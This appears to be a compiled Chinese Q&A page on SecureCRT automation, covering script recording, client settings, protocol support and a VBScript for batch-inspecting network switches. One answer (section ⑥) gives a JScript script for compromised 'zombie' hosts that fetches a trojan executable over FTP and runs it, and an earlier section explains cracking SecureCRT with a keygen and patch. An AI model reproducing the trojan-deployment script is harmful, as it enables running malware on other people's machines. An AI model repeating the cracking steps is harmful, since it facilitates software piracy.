crt自動腳本
① secureCrt實現通過script-腳本實現自動登錄
獲得腳本的方式: 自己編寫腳本 或者 通過 secureCtr錄制腳本的工具獲得腳本
此處只說錄制腳本的方法
1.打卡一個session會話
2.script-> Start Recording Script
3.在窗口中輸入一連串的命令
4.命令輸完之後 script-> Stop Recording Script 將錄制的script進行保存
方式1: script->run 選擇腳本進行運行 前提: 打開一個新的session
方式2: 將script腳本映射到按鈕上 先在view選項中勾選Button Bar 在button 區域 右鍵 new Button;
buttont創建好之後; 新打開一個session 點擊按鈕就實現自動登錄了
方式3: 將script腳本映射到快捷鍵上 如 ctrl+a ctrl+b 或者 ctrl+shift+c 等
自己覺得這種方式,如果要登錄的平台太多就不太使用了,畢竟快捷鍵還需要記錄,哪個對應哪個也會混淆
操作步驟:
Options -> session options
剛開始是想尋找的方式是
打開session會話,輸入關鍵詞之後自動執行關鍵詞映射的腳本,實現自動登錄
但是並沒有查找到相關的資料,目前在使用方式二-通過按鈕映射
知道如何實現關鍵詞登錄的小夥伴,辛苦留言
② secureCRT中如何用 vbscript腳本實現SSH自動登錄
SSH的英文全稱是SecureShell傳統的網路服務程序，如：ftp和telnet在本質上都是不安全的，因為它們在網路上用明文傳送口令和數據，別有用心的人非常容易就可以截獲這些口令和數據。而通過使用SSH客戶端與伺服器端通訊時，用戶名及口令均進行了加密，有效防止了對口令的竊聽。同時通過SSH的數據傳輸是經過壓縮的，所以可以提高數據的傳輸速度，既然如此我們為什麼不使用它呢。SSH是由客戶端和服務端的軟體組成的，有兩個不兼容的版本分別是：1.x和2.x。至於具體如何安裝伺服器端，普通用戶就不需要關心了。一、安裝1、安裝首先要下載SecureCRT，目前最新的版本為6.1.3（截止到2008年2月，其破解版本TBE或AGAiN），我們以5.53版為例進行介紹，下載安裝文件scrt553.exe和破解文件keygen.exe。安裝過程很簡單，運行scrt553.exe，只要「下一步」即可，安裝過程中可以看到SecureCRT支持以下協議：SecureCRT使用說明-腳本之家安裝完成後，第一次啟動SecureCRT會有如下提示：SecureCRT使用說明-腳本之家用戶需要指定一個目錄，用來存放SecureCRT的配置信息。此目錄默認為C:\DocumentsandSettings\用戶名\ApplicationData\VanDyke\Config，如果是升級SecureCRT需要保持此文件夾與舊版本一致，如果重裝系統，一定要備份此目錄。如果需要更改，啟動SecureCRT後點擊Options=>Globalptions=>General修改Configurationfolder即可。2、破解未破解版本，只有30天的使用期。關閉SecureCRT，將keygen.exe拷貝到安裝目錄C:\ProgramFiles\SecureCRT中，運行它，填寫Name，Company後點擊Generate得到Serial,Date,LicenseKey信息，點擊Patch按鈕，破解並備份SecureCRT主程序。運行SecureCRT，點擊Help=>EnterLicenseData…，填寫從keygen得到的注冊信息即可。一般AGAiN破解版本期限一年。二、基本設置修改設置為了SecureCRT用起來更方便，需要做一些設置，需要修改的有如下幾處：1、退出主機自動關閉窗口Options=>Globalptions=>General=>DefaultSession=>EditDefaultSettingsSecureCRT使用說明-腳本之家Terminal中將Closeondisconnect選上，當用戶從主機中退出後可以自動關閉當前連接的窗口。SecureCRT使用說明-腳本之家2、修改默認卷屏行數當你做一個操作，屏幕輸出有上百行，當需要將屏幕回翻時，這個設置會有很大幫助，默認為500行，可以改為10000行，不用擔心找不到了。Terminal=>Emulation=>Scrollback修改為10000。SecureCRT使用說明-腳本之家3、修改SFTP默認下載路徑（可選）：對於使用SSH的連接中，可以使用SFTP下載文件，在這里可以設置文件的下載目錄（默認為下載到「我的文檔」中）Connection=>SSH2=>SFTPTab=>Initialdirectories=>LocaldirectorySecureCRT使用說明-腳本之家4、修改Xmodem/Zmodem上傳下載路徑（可選）SecureCRT可以使用Xmodem/Zmodem方便的上傳和下載文件。在Sessionoptions=>Xmodem/Zmodem=>Directories中設置5、拷貝與粘貼的設置通過滑鼠操作即可拷貝或粘貼所需內容是一個非常方便的設置Options=>Globalptions=>Terminal=>Mouse選中Copyonselect和Pasteonmiddlebutton這樣設置後，只要用滑鼠選中所需內容，則將內容拷貝到剪切板中，點擊滑鼠中鍵即可粘貼內容。SecureCRT使用說明-腳本之家另外可以設置使用Windows下的拷貝粘貼快捷鍵，Options=>Globalptions=>General=>DefaultSession=>EditDefaultSettings=>Terminal=>Mappedkeys=>使用說明-腳本之家6、Tabs設置從Secure5.0以後，增加了Tabs（標簽）選項，多個連接可以在同一個窗口下打開，類似IE7.0的風格。將Double-click選項修改為CloseTab，雙擊標簽可關閉連接窗口。SecureCRT使用說明-腳本之家三、界面介紹1、菜單1）File文件Connect連接，打開一個連接或者編輯已有的連接，創建新連接。QuickConnect快速連接，快速連接對話框，快速連接主機的最便捷方式。ConnectinTab在Tab中打開一個新的會話窗口。CloneSession克隆當前會話窗口。ConnectSFTPTab打開SFTP窗口，對於SSH連接，此選項可用。在此會話窗口中可使用SFTP命令傳輸文件。Reconnect重新連接Disconnect中斷當前會話窗口的連接LogSession把當前窗口的會話記錄到log文件中。RawLogSession將更詳細的會話記錄到log文件中，包括伺服器更詳細的響應信息。TraceOptions在log文件中記錄協議會話信息選項。（包括客戶端與主機互相連接時的一些信息內容）2）Edit編輯拷貝粘貼等3)View視圖顯示各種工具條4)Options選項包括全局選項和Session選項5)Transfer傳遞文件使用Xmodem/Zmodem上傳下載文件6)Script.腳本運行一個腳本文件，或記錄一個新的腳本。（類似Word中的宏功能）7)Tools工具鍵盤映射編輯，密鑰生成工具等8)Help幫助2、對話框和按鈕點擊File=>Connect可出現Connect對話框。從左至右按鈕依次為：連接（激活選中的連接條目）；快速連接（快捷連接新的主機）；新建連接（在對話框中新增一個連接條目）；剪切；復制；粘貼；刪除（對話框中的條目）；新建文件夾，屬性（顯示選中條目的屬性），創建條目的桌面快捷方式，幫助。SecureCRT使用說明-腳本之家Connect對話框下方有兩個選項：Showdialogonstart(啟動SecureCRT時顯示Connect對話框)；Openinatab(以新標簽卡的形式打開一個會話)，選中此選項，新的會話窗口如下圖所示：在linux主機下，可以使用Xmodem/Zmodem方便的上傳和下載文件基本命令：sz下載文件到本地；rz上傳本地文件到主機。5、其它技巧1）使用腳本來進行重復性工作可以像word的宏一樣，把你的重復性操作記錄為一個腳本文件Script.=>StartRecordingScript，開始記錄Script.=>StopRecordingScript，停止記錄，Saveas…保存成script文件。下次調用時Script.=>Run=>SelectScript.torun…SecureCRT使用說明-腳本之家2）使用Mapkey來進行重復輸入工作可以設置為全局選項（對所有連接都有效），也可以只設置為Session選項，如下圖Options=>Sessionptions=>Terminal=>Mappedkeys=>Mapakey，出現MapKey對話框SecureCRT使用說明-腳本之家SecureCRT使用說明-腳本之家例如，單擊F12鍵，在SendString輸入你要經常重復使用的命令，okSecureCRT使用說明-腳本之家則下次在會話窗口中點擊F12鍵將直接輸入df–m3）自動登錄以登錄一個Telnet的主機為例，Sessionptions=>Connection=>LogonScripts=>Automatelogon,在login後的send中輸入用戶名，在Password後的send中輸入密碼。則可實現自動登錄。SecureCRT使用說明-腳本之家用SecureCRT來上傳和下載數據SecureCRT可以使用linux下的zmodem協議來快速的傳送文件，只要設置一下上傳和下載的默認目錄就行options-->sessionoptions-->filetransfer下可以設置上傳和下載的目錄剩下的只要在用SecureCRT登陸linux終端的時候：發送文件到客戶端：szfilenamezmodem接收可以自行啟動.從客戶端上傳文件到linux服務端：只要服務端執行，rz然後在SecureCRT里選文件發送，協議zmodem。
③ crt支持哪些腳本
Secure[1]CRT是一款支持SSH（SSH1和SSH2）的終端模擬程序，簡單的說是Windows下登錄UNIX或Linux伺服器主機的軟體。SecureCRT支持SSH，同時支持Telnet和rlogin協議。SecureCRT是一款用於連接運行包括Windows、UNIX和VMS的理想工具。通過使用內含的VCP命令行程序可以進行加密文件的傳輸。有流行CRTTelnet客戶機的所有特點,包括:自動注冊、對不同主機保持不同的特性、列印功能、顏色設置、可變屏幕尺寸、用戶定義的鍵點陣圖和優良的VT100,VT102,VT220和ANSI競爭.能從命令行中運行或從瀏覽器中運行.其它特點包括文本手稿、易於使用的工具條、用戶的鍵點陣圖編輯器、可定製的ANSI顏色等.SecureCRT的SSH協議支持DES,3DES和RC4密碼和密碼與RSA鑒別.
. 協議支持:
支持 SSH1，SSH2，Telnet，RLogin，Serial，和 TAPI 協議。
. Secure Shell：
Secure Shell 加密登錄和會話數據，包括以下支持：
- 埠轉發使 TCP/IP 數據更安全
- 口令，公鑰，鍵盤交互和 Kerberos 驗證
- AES，Twofish，Blowfish，3DES，RC4，和 DES 加密
- X11 轉發
. 文件傳輸工具：
VCP 和 VSFTP 命令行公用程序讓使用 SFTP 的文件傳輸更安全。
. 腳本支持：
支持 VBScript 和 JScript 腳本語言。
④ 誰能給一個SecureCRT的vbs腳本函數使用說明
如果真去寫VBS的話其實是比較累的，對於這種自動登錄自動配置的操作建議使用腳本錄制和腳本執行來實現，簡單明了。
⑤ 如何使用SecureCRT錄制自動腳本
輸入登錄的命令
.UTF-8
su-username
Password:
結束錄制
Script -> Stop Recording Script
把腳本存成你喜歡的名字，例如Script.vbs
設置登錄腳本
選中會話，右鍵Properties -> Connection -> Logon Scripts:
在「Logon scrip」前打鉤，選中Scrip
⑥ 求SecureCRT腳本登陸肉雞
#$language="JScript"
#$interface="1.0"
if(crt.session.Connected)
{
crt.Screen.WaitForString (">");
crt.Screen.Send("ftp FTP地址\r");
crt.Screen.WaitForString (":");
crt.Screen.Send("帳號\r");
crt.Screen.WaitForString (":");
crt.Screen.Send("密碼\r");
crt.Screen.WaitForString (".");
crt.Screen.Send("get 木馬.exe c:\\木馬.exe\r");
crt.Screen.WaitForString (">");
crt.Screen.Send("bye\r");
crt.Screen.WaitForString (">");
crt.Screen.Send("c:\\木馬.exe\r");
crt.Screen.WaitForString (">");
crt.Screen.Send("c:\\木馬.exe\r");
}
這樣回自動登陸 FTP 下載木馬 然後 退出FTP 運行木馬`..
再者之前必須要 設置正確SecureCRT .. ...要將SecureCRT設置為開啟先登陸telnet 模式..還必須 讓它自動發送回車..帳號密碼也得設置...
⑦ SecureCRT遠程登錄Unix主機時(telnet和ssh)能不能自動輸入賬號和密碼，然後怎樣讓其自動執行腳本，謝謝啦
可以，會話選項->登錄腳本->自動登錄和自動腳本，隨你了！
SSH本來就是自動能存貯密碼的呀，不用設置的。
⑧ VBS腳本，登錄CRT腳本該怎麼寫
# $language = "VBScript"
# $interface = "1.0"
'=====================================================
' 山東**集團
' By Klsjnh
' Ver 0.5
' 2014.10.22 21:44
'=====================================================
' 從列表中讀取交換機地址
' v0.5 修改了 巡檢中錯誤會停止的錯誤
' 修改了 尋找 more的方式
'
Sub Main
On Error Resume Next '出錯忽略
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim objFso,objFile,strLine,aryParams
Set objFso= CreateObject("Scripting.FileSystemObject")
Set objFile= objFso.OpenTextFile("D:Klsjnh網路腳本iplist.ini",Forreading, False )
crt.Screen.Synchronous = True
strFolder=createFolder & ""
DO While objFile.AtEndOfStream <> True
strLine = objFile.ReadLine
aryParams=Split(strLine)
crt.Session.Connect "/TELNET " & aryParams(0)
If crt.Session.Connected Then
crt.session.LogFileName = strFolder & aryParams(0) & "_" & Replace(Date,"/","-") & ".txt"
crt.session.Log(true)
If aryParams(1) = 1 Then '登陸模式 1 telnet 密碼
crt.Screen.WaitForString "Password:"
crt.Screen.Send aryParams(2) & vbcr
End If
If aryParams(1) = 2 Then '登陸模式 2 特權模式
crt.Screen.WaitForString "Password:"
crt.Screen.Send aryParams(2) & vbcr
crt.Screen.WaitForString ">"
crt.Screen.Send "su" & vbcr
crt.Screen.WaitForString "Password:"
crt.Screen.Send aryParams(2) & vbcr
End If
'================================巡檢部分================================
crt.Screen.WaitForString ">"
crt.Screen.Send "dis log" & vbcr
Do Until crt.Screen.WaitForString("---- More ----",2) <> -1
crt.Screen.Send " " & vbcr
Loop
'========================================================================
crt.Session.Disconnect
crt.session.Log(False)
Else
appendTextFile "發生錯誤： " & aryParams(0) & " 。(" & now() & ")"
End If
Loop
If Err.Number = 0 Then
crt.Dialog.MessageBox("所有交換機巡檢成功....")
Else
crt.Dialog.MessageBox("所有交換機巡檢完成，部分交換機有錯誤....")
End If
crt.Screen.Synchronous = False
End Sub
Public Function createFolder() '創建以當前日期為名的 文件夾
Dim objFso,objFolder,strFolderName
Set objFso = CreateObject("Scripting.FileSystemObject")
Set objFolder = objFso.getfolder("D:Klsjnh網路巡檢")
strFolderName = now()
strFolderName = Left(strFolderName,InStr(strFolderName,Chr(32))) '取空格之前的部分
strFolderName = Mid(strFolderName,6,Len(strFoldername)-6) '取日期
strFolderName = Replace(strFolderName,"/","_")
strFolderName = objFolder & "" & strFolderName
If objFso.FolderExists(strFolderName)<>True Then
objFso.CreateFolder(strFolderName)
End If
createFolder = strFolderName
End Function
Public Function appendTextFile(strFileText) '打開文件追加
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim objFso,objFile,strLine
Set objFso = CreateObject("Scripting.FileSystemObject")
strFilePath = "D:Klsjnh網路交換機巡檢錯誤日誌.log"
Set objFile = objFso.OpenTextFile(strFilePath,ForAppending, True )
objFile.WriteLine strFileText
objFile.close
Set objFile = Nothing
Set objFso = Nothing
End Function